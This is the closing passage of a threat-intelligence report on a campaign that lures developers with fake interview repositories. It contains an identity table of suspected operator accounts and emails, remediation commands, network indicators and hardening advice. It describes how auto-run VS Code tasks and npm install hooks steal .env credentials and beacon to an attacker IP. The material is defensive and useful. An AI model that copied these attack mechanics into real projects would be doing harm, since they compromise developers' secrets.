| Observation | Org | Lure-facing GitHub account | Lure / contact email | Initial commit-linked identity | Recurrent commit-linked identity | Late-stage commit-linked / maintenance identity |
|---|---|---|---|---|---|---|
| TP-2026-001 | Softstack | LuckyKat1001 | brajan.intro@gmail.com | - | - | LuckyKat1001 |
| TP-2026-009 | Intraverse-Dev-Tech-Hub | - | brajanjake@gmail.com | Ivan / 167746537+DeAngDai354@users.noreply.github.com | okada0209 / lovelysong0209+2@gmail.com | Intraverse-Dev-Tech-Hub / thomas.cryptolover@gmail.com |
| TP-2026-010 / Hub2 | DLabsHungary-Hub2 | CodeBlock73 | petermolnar813@gmail.com | Ivan / 167746537+DeAngDai354@users.noreply.github.com | okada0209 / lovelysong0209+2@gmail.com | CodeBlock73 |
| Hub3 (enriched continuity) | DLabsHungary-Hub3 | CodeBlock150 | petermolnar286@gmail.com | Ivan / 167746537+DeAngDai354@users.noreply.github.com | okada0209 / lovelysong0209+2@gmail.com | CodeBlock150 / petermolnar286@gmail.com |
| Hub4 (public continuity) | DLabsHungary-Hub4 | CodeBlock150 | - | - | - | CodeBlock150 |
The identity pattern is more layered than a simple “invite account + dev persona” model. In TP-2026-009, the commit history shows at least three commit-linked identity layers: an initial commit identity (Ivan / 167746537+DeAngDai354@users.noreply.github.com), a recurrent middle layer (okada0209 / lovelysong0209+2@gmail.com), and a later repository maintenance / weaponisation layer (Intraverse-Dev-Tech-Hub / thomas.cryptolover@gmail.com). Later DLabs-themed repositories preserve the same broader pattern of rotating lure-facing identities while reusing recurrent commit-linked identities and repository structure. This is more consistent with a staged workflow or small operator team than with a single static persona.
TTP similarity and file-level artifact matches do not constitute confirmed attribution. The strongest conclusion supported by this evidence is close campaign-cluster continuity with TP-2026-009 and related cases, plus alignment with publicly documented DPRK-linked Contagious Interview tradecraft.
Relevant prior reporting:
- ThreatProphet TP-2026-009 - Dravion-Core
- ThreatProphet TP-2026-004 - BetPoker
- ThreatProphet TP-2026-002 - Japanese-Royal
- ThreatProphet TP-2026-001 - Interview Trap
- Palo Alto Unit 42 - Contagious Interview
- CISA Advisory AA24-242A
- GitLab Threat Intelligence - North Korean Tradecraft (2026-02-19)
- Microsoft Security Blog - Developer-targeting campaign (2026-02-24)
- Group-IB - Dev Popper
Remediation
If You Ran the Code
Treat this as a confirmed credential compromise if the repository was opened in VS Code with automatic tasks allowed or if npm commands were executed. Either path alone is sufficient for full compromise. npm install and the defined npm scripts can fire Path 2 outside VS Code.
- Isolate the machine from the network immediately.
- Preserve forensic evidence before remediation: process list, shell history,
~/.vscode/contents, memory if possible. - Kill the beacon:
pkill -f env-setup.js && pkill -f vscode-bootstrap.sh - Remove persistence artifacts:
rm -rf ~/.vscode/env-setup.js ~/.vscode/vscode-bootstrap.sh ~/.vscode/package.json ~/.vscode/node_modules ~/.vscode/*.txt ~/.vscode/env.npl - Rotate all credentials immediately - assume everything in
.env,.env.local, and the live shell session is compromised: AWS IAM keys, OpenAI, Stripe, Coinbase Commerce, Alchemy, Infura, Pinata, Etherscan, Polygonscan, session signing secret. Do not reuse rotated credentials on the same machine until persistence is confirmed removed. - Audit cloud provider logs (AWS CloudTrail, Stripe dashboard, OpenAI usage) for anomalous API activity from the moment the folder was opened - credential abuse may begin within seconds.
- Check for additional persistence:
crontab -l && ls ~/Library/LaunchAgents/ 2>/dev/null - Do not rely exclusively on AV/EDR. The payload executes as JavaScript within a legitimate Node.js process and is unlikely to be flagged by signature-based tooling.
- Reimage from a known-good backup once forensic preservation is complete.
Network-Level Detection
Block and alert on all outbound connections to 88.99.241[.]111, all ports, especially TCP/1224. Monitor for outbound POST requests to *.vercel.app/api carrying x-app-request: ip-check from Node.js processes. Alert on Node.js processes executing .npl files. Create IDS rules for plain HTTP outbound from Node.js processes to non-standard high ports.
Host-Level Hardening
- Disable automatic VS Code task execution: Set
task.allowAutomaticTaskstooffin VS Code settings. This prevents therunOn: folderOpentasks from running automatically. Note that Path 2 can still fire if the victim subsequently runsnpm installor one of the defined npm scripts. - Audit
.vscode/tasks.jsonbefore opening any repository from an external source. Look forrunOn: folderOpenand pipe-to-shell commands. Scroll horizontally in the raw file - malicious URLs may be pushed far off-screen by whitespace padding. Absence of a visible terminal is not evidence the task did not fire. - Audit
prepare,postinstall, andpreinstallscripts inpackage.jsonbefore running npm commands in unfamiliar projects. - Run interview code in an isolated VM or container with no real credentials in
process.env, no mounted.envfiles, and filtered outbound egress. A sandboxed environment eliminates the value of this attack entirely. - Ensure
.env.localfiles do not contain credentials that would cause material harm if exfiltrated. Prefer runtime secrets injection over file-based credential storage.
Evidence Availability
The underlying evidence archive is not distributed with this public report. Publicly useful comparison material is included in the IOC and File and Payload Hashes tables above: hashes, repository names, identity artifacts, infrastructure indicators, URL paths, and behaviour-level descriptions. These values are sufficient for independent researchers to compare against their own repository mirrors, captured payloads, and telemetry without relying on local evidence paths.
TLP:CLEAR - This report may be freely shared. Attribution assessments are based on observed artifact continuity, campaign-cluster overlap, and public reporting context. All IOCs are provided for defensive purposes.
Report ID: TP-2026-010 | Published: 2026-04-16 | Author: ThreatProphet